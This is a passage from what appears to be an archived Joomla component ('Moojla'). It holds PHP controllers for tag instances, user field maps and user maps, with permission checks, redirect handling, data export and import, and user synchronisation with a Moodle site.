$record = $this->getModel()->getItem($recordId);
if (empty($record))
{
return false;
}
$ownerId = $record->created_by;
}
// If the owner matches 'me' then allow.
if ($ownerId == $user->id)
{
if ($user->authorise('core.edit.own',
'com_moojla'))
{
return true;
}
}
}
return false;
}
}
// Since there is no permission, revert to the component permissions.
return parent::allowEdit($data, $key);
}
/**
* Gets the URL arguments to append to an item redirect.
*
* @param integer $recordId The primary key id for the item.
* @param string $urlVar The name of the URL variable for the id.
*
* @return string The arguments to append to the redirect URL.
*
* @since 1.6
*/
protected function getRedirectToItemAppend($recordId = null, $urlVar =
'id')
{
// get the referral options (old method use return instead see parent)
$ref = $this->input->get('ref', 0, 'string');
$refid = $this->input->get('refid', 0, 'int');
// get redirect info.
$append = parent::getRedirectToItemAppend($recordId, $urlVar);
// set the referral options
if ($refid && $ref)
{
$append = '&ref=' . (string)$ref .
'&refid='. (int)$refid . $append;
}
elseif ($ref)
{
$append = '&ref='. (string)$ref . $append;
}
return $append;
}
/**
* Method to run batch operations.
*
* @param object $model The model.
*
* @return boolean True if successful, false otherwise and internal
error is set.
*
* @since 2.5
*/
public function batch($model = null)
{
JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));
// Set the model
$model = $this->getModel('Tag_instance', '',
array());
// Preset the redirect
$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=tag_instances'
. $this->getRedirectToListAppend(), false));
return parent::batch($model);
}
/**
* Method to cancel an edit.
*
* @param string $key The name of the primary key of the URL variable.
*
* @return boolean True if access level checks pass, false otherwise.
*
* @since 12.2
*/
public function cancel($key = null)
{
// get the referral options
$this->ref = $this->input->get('ref', 0,
'word');
$this->refid = $this->input->get('refid', 0,
'int');
// Check if there is a return value
$return = $this->input->get('return', null,
'base64');
$cancel = parent::cancel($key);
if (!is_null($return) &&
JUri::isInternal(base64_decode($return)))
{
$redirect = base64_decode($return);
// Redirect to the return value.
$this->setRedirect(
JRoute::_(
$redirect, false
)
);
}
elseif ($this->refid && $this->ref)
{
$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;
// Redirect to the item screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
elseif ($this->ref)
{
$redirect = '&view='.(string)$this->ref;
// Redirect to the list screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
return $cancel;
}
/**
* Method to save a record.
*
* @param string $key The name of the primary key of the URL
variable.
* @param string $urlVar The name of the URL variable if different
from the primary key (sometimes required to avoid router collisions).
*
* @return boolean True if successful, false otherwise.
*
* @since 12.2
*/
public function save($key = null, $urlVar = null)
{
// get the referral options
$this->ref = $this->input->get('ref', 0,
'word');
$this->refid = $this->input->get('refid', 0,
'int');
// Check if there is a return value
$return = $this->input->get('return', null,
'base64');
$canReturn = (!is_null($return) &&
JUri::isInternal(base64_decode($return)));
if ($this->ref || $this->refid || $canReturn)
{
// to make sure the item is checkedin on redirect
$this->task = 'save';
}
$saved = parent::save($key, $urlVar);
// This is not needed since parent save already does this
// Due to the ref and refid implementation we need to add this
if ($canReturn)
{
$redirect = base64_decode($return);
// Redirect to the return value.
$this->setRedirect(
JRoute::_(
$redirect, false
)
);
}
elseif ($this->refid && $this->ref)
{
$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;
// Redirect to the item screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
elseif ($this->ref)
{
$redirect = '&view=' . (string)$this->ref;
// Redirect to the list screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
return $saved;
}
/**
* Function that allows child controller access to model data
* after the data has been saved.
*
* @param JModel &$model The data model object.
* @param array $validData The validated data.
*
* @return void
*
* @since 11.1
*/
protected function postSaveHook(JModelLegacy $model, $validData = array())
{
return;
}
}
controllers/tag_instances.php000064400000003600151165724360012456
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage tag_instances.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* Tag_instances Controller
*/
class MoojlaControllerTag_instances extends JControllerAdmin
{
/**
* The prefix to use with controller messages.
*
* @var string
* @since 1.6
*/
protected $text_prefix = 'COM_MOOJLA_TAG_INSTANCES';
/**
* Method to get a model object, loading it if required.
*
* @param string $name The model name. Optional.
* @param string $prefix The class prefix. Optional.
* @param array $config Configuration array for model. Optional.
*
* @return JModelLegacy The model.
*
* @since 1.6
*/
public function getModel($name = 'Tag_instance', $prefix =
'MoojlaModel', $config = array('ignore_request' =>
true))
{
return parent::getModel($name, $prefix, $config);
}
}
controllers/user_fields_map.php000064400000003612151165724360013000
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage user_fields_map.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* User_fields_map Controller
*/
class MoojlaControllerUser_fields_map extends JControllerAdmin
{
/**
* The prefix to use with controller messages.
*
* @var string
* @since 1.6
*/
protected $text_prefix = 'COM_MOOJLA_USER_FIELDS_MAP';
/**
* Method to get a model object, loading it if required.
*
* @param string $name The model name. Optional.
* @param string $prefix The class prefix. Optional.
* @param array $config Configuration array for model. Optional.
*
* @return JModelLegacy The model.
*
* @since 1.6
*/
public function getModel($name = 'User_field_map', $prefix =
'MoojlaModel', $config = array('ignore_request' =>
true))
{
return parent::getModel($name, $prefix, $config);
}
}
controllers/user_field_map.php000064400000020265151165724400012613
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage user_field_map.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* User_field_map Controller
*/
class MoojlaControllerUser_field_map extends JControllerForm
{
/**
* Current or most recently performed task.
*
* @var string
* @since 12.2
* @note Replaces _task.
*/
protected $task;
/**
* Class constructor.
*
* @param array $config A named array of configuration variables.
*
* @since 1.6
*/
public function __construct($config = array())
{
$this->view_list = 'User_fields_map'; // safeguard for
setting the return view listing to the main view.
parent::__construct($config);
}
/**
* Method override to check if you can add a new record.
*
* @param array $data An array of input data.
*
* @return boolean
*
* @since 1.6
*/
protected function allowAdd($data = array())
{
// Get user object.
$user = JFactory::getUser();
// In the absense of better information, revert to the component
permissions.
return parent::allowAdd($data);
}
/**
* Method override to check if you can edit an existing record.
*
* @param array $data An array of input data.
* @param string $key The name of the key for the primary key.
*
* @return boolean
*
* @since 1.6
*/
protected function allowEdit($data = array(), $key = 'id')
{
// get user object.
$user = JFactory::getUser();
// get record id.
$recordId = (int) isset($data[$key]) ? $data[$key] : 0;
if ($recordId)
{
// The record has been set. Check the record permissions.
$permission = $user->authorise('core.edit',
'com_moojla.user_field_map.' . (int) $recordId);
if (!$permission)
{
if ($user->authorise('core.edit.own',
'com_moojla.user_field_map.' . $recordId))
{
// Now test the owner is the user.
$ownerId = (int) isset($data['created_by']) ?
$data['created_by'] : 0;
if (empty($ownerId))
{
// Need to do a lookup from the model.
$record = $this->getModel()->getItem($recordId);
if (empty($record))
{
return false;
}
$ownerId = $record->created_by;
}
// If the owner matches 'me' then allow.
if ($ownerId == $user->id)
{
if ($user->authorise('core.edit.own',
'com_moojla'))
{
return true;
}
}
}
return false;
}
}
// Since there is no permission, revert to the component permissions.
return parent::allowEdit($data, $key);
}
/**
* Gets the URL arguments to append to an item redirect.
*
* @param integer $recordId The primary key id for the item.
* @param string $urlVar The name of the URL variable for the id.
*
* @return string The arguments to append to the redirect URL.
*
* @since 1.6
*/
protected function getRedirectToItemAppend($recordId = null, $urlVar =
'id')
{
// get the referral options (old method use return instead see parent)
$ref = $this->input->get('ref', 0, 'string');
$refid = $this->input->get('refid', 0, 'int');
// get redirect info.
$append = parent::getRedirectToItemAppend($recordId, $urlVar);
// set the referral options
if ($refid && $ref)
{
$append = '&ref=' . (string)$ref .
'&refid='. (int)$refid . $append;
}
elseif ($ref)
{
$append = '&ref='. (string)$ref . $append;
}
return $append;
}
/**
* Method to run batch operations.
*
* @param object $model The model.
*
* @return boolean True if successful, false otherwise and internal
error is set.
*
* @since 2.5
*/
public function batch($model = null)
{
JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));
// Set the model
$model = $this->getModel('User_field_map', '',
array());
// Preset the redirect
$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=user_fields_map'
. $this->getRedirectToListAppend(), false));
return parent::batch($model);
}
/**
* Method to cancel an edit.
*
* @param string $key The name of the primary key of the URL variable.
*
* @return boolean True if access level checks pass, false otherwise.
*
* @since 12.2
*/
public function cancel($key = null)
{
// get the referral options
$this->ref = $this->input->get('ref', 0,
'word');
$this->refid = $this->input->get('refid', 0,
'int');
// Check if there is a return value
$return = $this->input->get('return', null,
'base64');
$cancel = parent::cancel($key);
if (!is_null($return) &&
JUri::isInternal(base64_decode($return)))
{
$redirect = base64_decode($return);
// Redirect to the return value.
$this->setRedirect(
JRoute::_(
$redirect, false
)
);
}
elseif ($this->refid && $this->ref)
{
$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;
// Redirect to the item screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
elseif ($this->ref)
{
$redirect = '&view='.(string)$this->ref;
// Redirect to the list screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
return $cancel;
}
/**
* Method to save a record.
*
* @param string $key The name of the primary key of the URL
variable.
* @param string $urlVar The name of the URL variable if different
from the primary key (sometimes required to avoid router collisions).
*
* @return boolean True if successful, false otherwise.
*
* @since 12.2
*/
public function save($key = null, $urlVar = null)
{
// get the referral options
$this->ref = $this->input->get('ref', 0,
'word');
$this->refid = $this->input->get('refid', 0,
'int');
// Check if there is a return value
$return = $this->input->get('return', null,
'base64');
$canReturn = (!is_null($return) &&
JUri::isInternal(base64_decode($return)));
if ($this->ref || $this->refid || $canReturn)
{
// to make sure the item is checkedin on redirect
$this->task = 'save';
}
$saved = parent::save($key, $urlVar);
// This is not needed since parent save already does this
// Due to the ref and refid implementation we need to add this
if ($canReturn)
{
$redirect = base64_decode($return);
// Redirect to the return value.
$this->setRedirect(
JRoute::_(
$redirect, false
)
);
}
elseif ($this->refid && $this->ref)
{
$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;
// Redirect to the item screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
elseif ($this->ref)
{
$redirect = '&view=' . (string)$this->ref;
// Redirect to the list screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
return $saved;
}
/**
* Function that allows child controller access to model data
* after the data has been saved.
*
* @param JModel &$model The data model object.
* @param array $validData The validated data.
*
* @return void
*
* @since 11.1
*/
protected function postSaveHook(JModelLegacy $model, $validData = array())
{
return;
}
}
controllers/user_map.php000064400000020324151165724400011444
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage user_map.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* User_map Controller
*/
class MoojlaControllerUser_map extends JControllerForm
{
/**
* Current or most recently performed task.
*
* @var string
* @since 12.2
* @note Replaces _task.
*/
protected $task;
/**
* Class constructor.
*
* @param array $config A named array of configuration variables.
*
* @since 1.6
*/
public function __construct($config = array())
{
$this->view_list = 'User_maps'; // safeguard for setting the
return view listing to the main view.
parent::__construct($config);
}
/***[JCBGUI.admin_view.php_controller.130.$$$$]***/
///***[/JCBGUI$$$$]***/
/**
* Method override to check if you can add a new record.
*
* @param array $data An array of input data.
*
* @return boolean
*
* @since 1.6
*/
protected function allowAdd($data = array())
{
// Get user object.
$user = JFactory::getUser();
// In the absense of better information, revert to the component
permissions.
return parent::allowAdd($data);
}
/**
* Method override to check if you can edit an existing record.
*
* @param array $data An array of input data.
* @param string $key The name of the key for the primary key.
*
* @return boolean
*
* @since 1.6
*/
protected function allowEdit($data = array(), $key = 'id')
{
// get user object.
$user = JFactory::getUser();
// get record id.
$recordId = (int) isset($data[$key]) ? $data[$key] : 0;
if ($recordId)
{
// The record has been set. Check the record permissions.
$permission = $user->authorise('core.edit',
'com_moojla.user_map.' . (int) $recordId);
if (!$permission)
{
if ($user->authorise('core.edit.own',
'com_moojla.user_map.' . $recordId))
{
// Now test the owner is the user.
$ownerId = (int) isset($data['created_by']) ?
$data['created_by'] : 0;
if (empty($ownerId))
{
// Need to do a lookup from the model.
$record = $this->getModel()->getItem($recordId);
if (empty($record))
{
return false;
}
$ownerId = $record->created_by;
}
// If the owner matches 'me' then allow.
if ($ownerId == $user->id)
{
if ($user->authorise('core.edit.own',
'com_moojla'))
{
return true;
}
}
}
return false;
}
}
// Since there is no permission, revert to the component permissions.
return parent::allowEdit($data, $key);
}
/**
* Gets the URL arguments to append to an item redirect.
*
* @param integer $recordId The primary key id for the item.
* @param string $urlVar The name of the URL variable for the id.
*
* @return string The arguments to append to the redirect URL.
*
* @since 1.6
*/
protected function getRedirectToItemAppend($recordId = null, $urlVar =
'id')
{
// get the referral options (old method use return instead see parent)
$ref = $this->input->get('ref', 0, 'string');
$refid = $this->input->get('refid', 0, 'int');
// get redirect info.
$append = parent::getRedirectToItemAppend($recordId, $urlVar);
// set the referral options
if ($refid && $ref)
{
$append = '&ref=' . (string)$ref .
'&refid='. (int)$refid . $append;
}
elseif ($ref)
{
$append = '&ref='. (string)$ref . $append;
}
return $append;
}
/**
* Method to run batch operations.
*
* @param object $model The model.
*
* @return boolean True if successful, false otherwise and internal
error is set.
*
* @since 2.5
*/
public function batch($model = null)
{
JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN'));
// Set the model
$model = $this->getModel('User_map', '', array());
// Preset the redirect
$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=user_maps'
. $this->getRedirectToListAppend(), false));
return parent::batch($model);
}
/**
* Method to cancel an edit.
*
* @param string $key The name of the primary key of the URL variable.
*
* @return boolean True if access level checks pass, false otherwise.
*
* @since 12.2
*/
public function cancel($key = null)
{
// get the referral options
$this->ref = $this->input->get('ref', 0,
'word');
$this->refid = $this->input->get('refid', 0,
'int');
// Check if there is a return value
$return = $this->input->get('return', null,
'base64');
$cancel = parent::cancel($key);
if (!is_null($return) &&
JUri::isInternal(base64_decode($return)))
{
$redirect = base64_decode($return);
// Redirect to the return value.
$this->setRedirect(
JRoute::_(
$redirect, false
)
);
}
elseif ($this->refid && $this->ref)
{
$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;
// Redirect to the item screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
elseif ($this->ref)
{
$redirect = '&view='.(string)$this->ref;
// Redirect to the list screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
return $cancel;
}
/**
* Method to save a record.
*
* @param string $key The name of the primary key of the URL
variable.
* @param string $urlVar The name of the URL variable if different
from the primary key (sometimes required to avoid router collisions).
*
* @return boolean True if successful, false otherwise.
*
* @since 12.2
*/
public function save($key = null, $urlVar = null)
{
// get the referral options
$this->ref = $this->input->get('ref', 0,
'word');
$this->refid = $this->input->get('refid', 0,
'int');
// Check if there is a return value
$return = $this->input->get('return', null,
'base64');
$canReturn = (!is_null($return) &&
JUri::isInternal(base64_decode($return)));
if ($this->ref || $this->refid || $canReturn)
{
// to make sure the item is checkedin on redirect
$this->task = 'save';
}
$saved = parent::save($key, $urlVar);
// This is not needed since parent save already does this
// Due to the ref and refid implementation we need to add this
if ($canReturn)
{
$redirect = base64_decode($return);
// Redirect to the return value.
$this->setRedirect(
JRoute::_(
$redirect, false
)
);
}
elseif ($this->refid && $this->ref)
{
$redirect = '&view=' . (string)$this->ref .
'&layout=edit&id=' . (int)$this->refid;
// Redirect to the item screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
elseif ($this->ref)
{
$redirect = '&view=' . (string)$this->ref;
// Redirect to the list screen.
$this->setRedirect(
JRoute::_(
'index.php?option=' . $this->option . $redirect, false
)
);
}
return $saved;
}
/**
* Function that allows child controller access to model data
* after the data has been saved.
*
* @param JModel &$model The data model object.
* @param array $validData The validated data.
*
* @return void
*
* @since 11.1
*/
protected function postSaveHook(JModelLegacy $model, $validData = array())
{
return;
}
}
controllers/user_maps.php000064400000052557151165724400011644
0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage user_maps.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* User_maps Controller
*/
class MoojlaControllerUser_maps extends JControllerAdmin
{
/**
* The prefix to use with controller messages.
*
* @var string
* @since 1.6
*/
protected $text_prefix = 'COM_MOOJLA_USER_MAPS';
/**
* Method to get a model object, loading it if required.
*
* @param string $name The model name. Optional.
* @param string $prefix The class prefix. Optional.
* @param array $config Configuration array for model. Optional.
*
* @return JModelLegacy The model.
*
* @since 1.6
*/
public function getModel($name = 'User_map', $prefix =
'MoojlaModel', $config = array('ignore_request' =>
true))
{
return parent::getModel($name, $prefix, $config);
}
public function exportData()
{
// Check for request forgeries
JSession::checkToken() or die(JText::_('JINVALID_TOKEN'));
// check if export is allowed for this user.
$user = JFactory::getUser();
if ($user->authorise('user_map.export',
'com_moojla') &&
$user->authorise('core.export', 'com_moojla'))
{
// Get the input
$input = JFactory::getApplication()->input;
$pks = $input->post->get('cid', array(),
'array');
// Sanitize the input
$pks = ArrayHelper::toInteger($pks);
// Get the model
$model = $this->getModel('User_maps');
// get the data to export
$data = $model->getExportData($pks);
if (MoojlaHelper::checkArray($data))
{
// now set the data to the spreadsheet
$date = JFactory::getDate();
MoojlaHelper::xls($data,'User_maps_'.$date->format('jS_F_Y'),'User
maps exported ('.$date->format('jS F,
Y').')','user maps');
}
}
// Redirect to the list screen with error.
$message = JText::_('COM_MOOJLA_EXPORT_FAILED');
$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=user_maps',
false), $message, 'error');
return;
}
public function importData()
{
// Check for request forgeries
JSession::checkToken() or die(JText::_('JINVALID_TOKEN'));
// check if import is allowed for this user.
$user = JFactory::getUser();
if ($user->authorise('user_map.import',
'com_moojla') &&
$user->authorise('core.import', 'com_moojla'))
{
// Get the import model
$model = $this->getModel('User_maps');
// get the headers to import
$headers = $model->getExImPortHeaders();
if (MoojlaHelper::checkObject($headers))
{
// Load headers to session.
$session = JFactory::getSession();
$headers = json_encode($headers);
$session->set('user_map_VDM_IMPORTHEADERS', $headers);
$session->set('backto_VDM_IMPORT', 'user_maps');
$session->set('dataType_VDM_IMPORTINTO',
'user_map');
// Redirect to import view.
$message =
JText::_('COM_MOOJLA_IMPORT_SELECT_FILE_FOR_USER_MAPS');
$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=import',
false), $message);
return;
}
}
// Redirect to the list screen with error.
$message = JText::_('COM_MOOJLA_IMPORT_FAILED');
$this->setRedirect(JRoute::_('index.php?option=com_moojla&view=user_maps',
false), $message, 'error');
return;
}
/***[JCBGUI.admin_view.php_controller_list.130.$$$$]***/
function getUsersFromMoodle()
{
JLoader::register('MoojlaHelper',
JPATH_ADMINISTRATOR.'/components/com_moojla/helpers/moojla.php');
require_once JPATH_ADMINISTRATOR .
"/components/com_moojla/models/user_map.php";
$data = array(
"wsfunction" =>
"moojla_get_users_minimal",
"moodlewsrestformat" => "json"
);
$usersResult =
json_decode(MoojlaHelper::sendRequestToMoodle($data)->response);
$params = JComponentHelper::getParams('com_moojla');
$create_user_on_fetch =
trim($params->get('create_user_on_fetch'));
$log = "";
$logArraySynced = array();
$logArrayAdded = array();
foreach($usersResult as $user)
{
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select($db->quoteName(array('id',
'jid')));
$query->from($db->quoteName('#__moojla_user_map'));
$query->where($db->quoteName('mid') . ' = '
. $db->quote($user->id));
$db->setQuery($query);
$searchResults = $db->loadRow();
if($user->username != 'admin' &&
$user->username != 'guest')
{
$logArraySynced[] = 'JUser with id ' . $res . "
Synced!";
if(!$searchResults)
{
$query = $db->getQuery(true);
$query->select($db->quoteName(array('id')));
$query->from($db->quoteName('#__users'));
$query->where($db->quoteName('username') . '
= ' . $db->quote($user->username));
$db->setQuery($query);
$res = $db->loadResult();
if($res)
{
$data = array(
'mid' => $user->id,
'jid' => $res
);
$usermap = new MoojlaModelUser_map();
$usermap->save($data);
}
else if($create_user_on_fetch)
{
$data = array(
"name" => $user->firstname . ' '
. $user->lastname,
"username" => $user->username,
"password" => $user->password,
"password2" => $user->password,
"email" => $user->email,
"block" => 0,
);
$newUser = MoojlaHelper::addJoomlaUser($data);
if($newUser->status == "ok")
{
$data = array(
'mid' => $user->id,
'jid' => $newUser->id
);
$usermap = new MoojlaModelUser_map();
$usermap->save($data);
$logArrayAdded[] = 'JUser with id ' .
$newUser->id . " Added!";
}
}
}
}
}
$query = $db->getQuery(true);
$query->select('*');
$query->from($db->quoteName('#__moojla_user_map'));
$db->setQuery($query);
$results = $db->loadAssocList('mid');
$data = array(
"wsfunction" =>
"moojla_get_teachers",
"moodlewsrestformat" => "json"
);
$teacherRes =
json_decode(MoojlaHelper::sendRequestToMoodle($data)->response);
$coursesTeacherMap = array();
foreach($teacherRes as $index => $teacher)
{
if(!array_key_exists($teacher->userid, $coursesTeacherMap)){
$coursesTeacherMap[$teacher->userid] = array();
}
$coursesTeacherMap[$teacher->userid][] = $teacher->courseid;
}
foreach($coursesTeacherMap as $index => $ctm)
{
if(array_key_exists($index, $results))
{
$data = array(
'id'
=> intval($results[$index]['id']),
'mid'
=> intval($results[$index]['mid']),
'jid'
=> intval($results[$index]['jid']),
'courses' => implode(',', $ctm)
);
$usermap = new MoojlaModelUser_map();
$usermap->save($data);
}
}
$log .= count($logArraySynced) . " User Synced and " .
count($logArrayAdded) . " User Added!<br/>";
$log .= implode('<br/>', $logArraySynced) .
"<br/>";
$log .= implode('<br/>', $logArrayAdded) .
"<br/>";
$app = JFactory::getApplication();
$message = $log .
JText::_('COM_MOOJLA_COMPLETELY_FETCHED');// translate_need
$app->redirect(JRoute::_("index.php?option=com_moojla&view=user_maps",
false), $message, 'message');
return true;
}
function syncToMoodle()
{
$cid = $this->input->get('cid', array(),
'array');
$cid = ArrayHelper::toInteger($cid);
JLoader::register('MoojlaHelper',
JPATH_ADMINISTRATOR.'/components/com_moojla/helpers/moojla.php');
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select($db->quoteName('jid'));
$query->from($db->quoteName('#__moojla_user_map'));
$query->where($db->quoteName('id') . ' IN ('
. implode(',', $cid) . ')');
$query->where($db->quoteName('jid') .' <>
""');
$query->where($db->quoteName('jid') .' <>
0');
$db->setQuery($query);
$joomlausermaps = $db->loadColumn();
foreach($joomlausermaps as $jusermap)
{
$params = JComponentHelper::getParams('com_moojla');
$ads = trim($params->get('additional_data_source'));
if($ads == "jf")
{
$juser = JFactory::getUser($jusermap);
JLoader::register('MoojlaHelper',
JPATH_ADMINISTRATOR.'/components/com_moojla/helpers/moojla.php');
$data = array(
"wsfunction" =>
"moojla_user_get_users_by_field",
"moodlewsrestformat" => "json",
"field" => "username",
"values" =>
array(
$juser->username
)
);
$usernameExist =
json_decode(MoojlaHelper::sendRequestToMoodle($data)->response);
$data = array(
"wsfunction" =>
"moojla_user_get_users_by_field",
"moodlewsrestformat" => "json",
"field" => "email",
"values" =>
array(
$juser->email
)
);
$emailExist =
json_decode(MoojlaHelper::sendRequestToMoodle($data)->response);
$isNew = false;
if(!$emailExist && !$usernameExist)
$isNew = true;
jimport('joomla.user.helper');
$user = new JUser;
$user->load($jusermap);
JPluginHelper::importPlugin("user");
$dispatcher = JEventDispatcher::getInstance();
$user->from_joomla = 1;
$dispatcher->trigger("onUserAfterSave",
array((array)$user, $isNew, (array)$user, null));
}
else if($ads == "cb")
{
$user = JFactory::getUser($jusermap);
if ( ( ! file_exists( JPATH_SITE .
'/libraries/CBLib/CBLib/Core/CBLib.php' ) ) || ( ! file_exists(
JPATH_ADMINISTRATOR .
'/components/com_comprofiler/plugin.foundation.php' ) ) ) {
echo 'CB not installed';
return;
}
include_once( JPATH_ADMINISTRATOR .
'/components/com_comprofiler/plugin.foundation.php' );
cbimport( 'cb.html' );
global $_CB_framework, $_PLUGINS, $ueConfig;
global $cbUser;
$cbUser =& CBuser::getInstance( $jusermap, false);
// $cbUser =& CBuser::getUserDataInstance( $searchResults[1]);
$cuser =& $cbUser->getUserData();
$oldUserComplete = new \CB\Database\Table\UserTable();
$_PLUGINS->loadPluginGroup($user->username); // for using cb
trigering
$_PLUGINS->loadPluginGroup( 'user' );
foreach ( array_keys( get_object_vars( $cuser ) ) as $k ) {
if ( substr( $k, 0, 1 ) != '_' ) {
$oldUserComplete->set( $k, $cuser->get( $k ) );
}
}
// $user->set( 'name', $name );
$_PLUGINS->trigger( 'onBeforeUserUpdate', array(
&$cuser, &$cuser, &$oldUserComplete, &$oldUserComplete )
);
$cuser->set( 'params', array() );
// if ( ! $cuser->store() ) {
// return false;
//}
$_PLUGINS->trigger( 'onAfterUserUpdate', array(
&$cuser, &$cuser, $oldUserComplete ) );
// $_PLUGINS->trigger( 'onAfterUserRegistration',
array( &$cuser, &$cuser, $oldUserComplete ) );
}
}
$app = JFactory::getApplication();
$message = $log . JText::_('COM_MOOJLA_COMPLETELY_SYNCED');
